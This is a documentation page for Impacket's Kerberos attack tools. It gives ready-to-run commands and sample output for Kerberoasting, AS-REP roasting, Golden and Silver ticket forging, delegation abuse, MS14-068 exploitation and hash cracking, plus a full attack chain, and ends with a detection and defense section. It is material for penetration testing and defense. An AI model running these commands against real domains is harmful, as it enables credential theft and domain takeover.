Skip to main content
Impacket provides comprehensive tools for attacking and manipulating Kerberos authentication in Active Directory environments.

Attack Overview

Kerberoasting

Request service tickets for offline password cracking

AS-REP Roasting

Extract hashes from accounts without pre-authentication

Ticket Manipulation

Forge Golden/Silver tickets and convert formats

Delegation Attacks

Exploit unconstrained and constrained delegation

GetUserSPNs.py (Kerberoasting)

Finds user accounts with Service Principal Names (SPNs) and requests TGS tickets for offline cracking.

Basic Usage

# List all user accounts with SPNs
GetUserSPNs.py DOMAIN/user:password@DC_IP

# With NTLM hash
GetUserSPNs.py DOMAIN/user@DC -hashes LMHASH:NTHASH

# Kerberos authentication
GetUserSPNs.py DOMAIN/user@DC -k -no-pass -dc-ip DC_IP

Advanced Options

# Target specific user
GetUserSPNs.py domain/user:pass@dc -request-user sql_service

# From file of usernames
GetUserSPNs.py domain/user:pass@dc -usersfile users.txt -request

# Stealth mode (no TGS requests, just enumerate)
GetUserSPNs.py domain/user:pass@dc -stealth
# Only show machine accounts with SPNs
GetUserSPNs.py domain/user:pass@dc -machine-only

# Request TGS for machine accounts
GetUserSPNs.py domain/user:pass@dc -request-machine
# Specify target domain (cross-domain kerberoasting)
GetUserSPNs.py user:pass@dc -target-domain TARGET.DOMAIN.COM

# With DC hostname
GetUserSPNs.py user:pass -dc-host DC.TARGET.COM -dc-ip 10.0.0.1

Example Output

$ GetUserSPNs.py CORP/jdoe:P@[email protected]
Impacket v0.12.0 - Copyright 2023 Fortra

ServicePrincipalName              Name        MemberOf                                    PasswordLastSet             LastLogon  Delegation
--------------------------------  ----------  ------------------------------------------  --------------------------  ---------  ----------
MSSQLSvc/sql01.corp.local:1433    sql_svc     CN=Domain Admins,CN=Users,DC=corp,DC=local  2023-01-15 10:30:22.123456  <never>               
HTTP/web01.corp.local             iis_svc     CN=WebAdmins,CN=Users,DC=corp,DC=local      2023-03-20 14:15:00.654321  <never>               

Cracking Kerberoast Hashes

# Crack with wordlist
john --wordlist=rockyou.txt kerberoast.txt

# With rules
john --wordlist=wordlist.txt --rules kerberoast.txt

# Show cracked passwords
john --show kerberoast.txt

GetNPUsers.py (AS-REP Roasting)

Extracts crackable hashes from accounts with “Do not require Kerberos preauthentication” enabled.

Basic Usage

# Enumerate and request AS-REP for vulnerable users
GetNPUsers.py DOMAIN/user:password@DC_IP

# With NTLM hash
GetNPUsers.py DOMAIN/user@DC -hashes LMHASH:NTHASH

# Request and save to file
GetNPUsers.py DOMAIN/user:pass@DC -request -outputfile asrep.txt

Example Output

$ GetNPUsers.py CORP/ -usersfile users.txt -dc-ip 10.0.0.1
Impacket v0.12.0 - Copyright 2023 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jdoe doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$vulnerable_user@CORP.LOCAL:a1b2c3d4e5f6789012345678901234$abcdef...
[-] User service_account doesn't have UF_DONT_REQUIRE_PREAUTH set

Cracking AS-REP Hashes

john --wordlist=rockyou.txt asrep.txt
john --show asrep.txt

Ticket Manipulation Tools

getTGT.py

Request Ticket Granting Tickets (TGT) with credentials.
# Get TGT with password
getTGT.py DOMAIN/user:password -dc-ip DC_IP

# With NTLM hash
getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP

# With AES key
getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP

# Output saved as user.ccache
export KRB5CCNAME=user.ccache
psexec.py DOMAIN/user@target -k -no-pass

getST.py

Request Service Tickets (TGS) for specific services.
# Request service ticket
getST.py DOMAIN/user:password -spn cifs/target.domain.local -dc-ip DC_IP

# With TGT
export KRB5CCNAME=user.ccache
getST.py DOMAIN/user -spn cifs/target.domain.local -k -no-pass

ticketer.py

Forge Kerberos tickets (Golden Ticket, Silver Ticket).
# Create Golden Ticket (requires krbtgt hash from secretsdump)
ticketer.py -nthash KRBTGT_NTHASH -domain-sid S-1-5-21-... \
  -domain DOMAIN.LOCAL Administrator

# With AES key (better)
ticketer.py -aesKey AES256_KEY -domain-sid S-1-5-21-... \
  -domain DOMAIN.LOCAL Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py DOMAIN/[email protected] -k -no-pass

ticketConverter.py

Convert tickets between .ccache and .kirbi formats.
# Kirbi to CCache (Mimikatz to Impacket)
ticketConverter.py ticket.kirbi ticket.ccache

# CCache to Kirbi (Impacket to Mimikatz)
ticketConverter.py ticket.ccache ticket.kirbi

# Use converted ticket
export KRB5CCNAME=ticket.ccache
psexec.py DOMAIN/user@target -k -no-pass

describeTicket.py

Analyze and display ticket contents.
# Describe ccache ticket
describeTicket.py ticket.ccache

# Describe kirbi ticket
describeTicket.py ticket.kirbi

Delegation Attack Tools

findDelegation.py

Find accounts with delegation configured.
# Find all delegation configurations
findDelegation.py DOMAIN/user:password@DC_IP

# Output shows:
# - Unconstrained delegation
# - Constrained delegation
# - Resource-based constrained delegation (RBCD)

rbcd.py

Manage Resource-Based Constrained Delegation (RBCD).
# Read current RBCD configuration
rbcd.py DOMAIN/user:password@DC -delegate-to TARGET$ -action read

addcomputer.py

Add computer accounts to the domain (for RBCD attacks).
# Add computer account
addcomputer.py DOMAIN/user:password@DC -computer-name ATTACKER$ \
  -computer-pass P@ssw0rd123!

# Delete computer account
addcomputer.py DOMAIN/user:password@DC -computer-name ATTACKER$ -delete

# Use LDAPS method
addcomputer.py DOMAIN/user:password@DC -computer-name ATTACKER$ \
  -computer-pass P@ssw0rd -method LDAPS

Advanced Kerberos Attacks

goldenPac.py

Exploit MS14-068 Kerberos vulnerability.
# Exploit MS14-068 (patched systems)
goldenPac.py DOMAIN/user:password@target

# With hash
goldenPac.py DOMAIN/user@target -hashes LMHASH:NTHASH

raiseChild.py

Automate child-to-parent domain privilege escalation.
# Escalate from child to parent domain
raiseChild.py CHILD.PARENT.LOCAL/Administrator:password@DC_IP

# With hash
raiseChild.py CHILD.PARENT.LOCAL/Administrator@DC -hashes :NTHASH

getPac.py

Retrieve and decrypt Privilege Attribute Certificate (PAC).
# Get PAC information
getPac.py DOMAIN/user:password@target -target-user Administrator

Complete Attack Chain Examples

# 1. Enumerate SPNs
GetUserSPNs.py CORP/user:[email protected]

# 2. Request TGS tickets
GetUserSPNs.py CORP/user:[email protected] -request -outputfile hashes.txt

# 3. Crack hashes
hashcat -m 13100 hashes.txt rockyou.txt

# 4. Use cracked password
psexec.py CORP/sql_svc:[email protected]

Detection & Defense

Kerberos attacks are often detected by modern security tools. Understanding detection mechanisms is crucial.

Detection Indicators

  • Event ID 4769: TGS requests for user accounts (unusual encryption type RC4)
  • Event ID 4768: TGT requests from unusual locations
  • High volume of TGS requests
  • TGS requests for dormant accounts
  • Event ID 4768: AS-REQ without pre-authentication
  • Multiple AS-REQ failures from single source
  • Unusual user account queries
  • Tickets with unusual lifetime (10+ years)
  • Tickets created outside normal KDC
  • Event ID 4624: Logons with tickets showing anomalies
  • Tickets with missing or invalid PAC validation info
  • Event ID 4662: Changes to msDS-AllowedToActOnBehalfOfOtherIdentity
  • Event ID 4741/4742: Computer account creation/modification
  • Unusual S4U2Self/S4U2Proxy requests

Defensive Measures

  • Use strong, long passwords for service accounts (25+ characters)
  • Enable AES encryption for Kerberos (disable RC4)
  • Monitor for accounts with “Do not require preauth” flag
  • Implement Service Account password rotation
  • Use Group Managed Service Accounts (gMSA)
  • Enable PAC validation
  • Monitor delegation configurations
  • Restrict SPN registration permissions

Next Steps

Credential Dumping

Extract credentials for Kerberos attacks

LDAP Operations

Enumerate delegation and SPNs via LDAP

Remote Execution

Use Kerberos tickets for remote execution

Build docs developers (and LLMs) love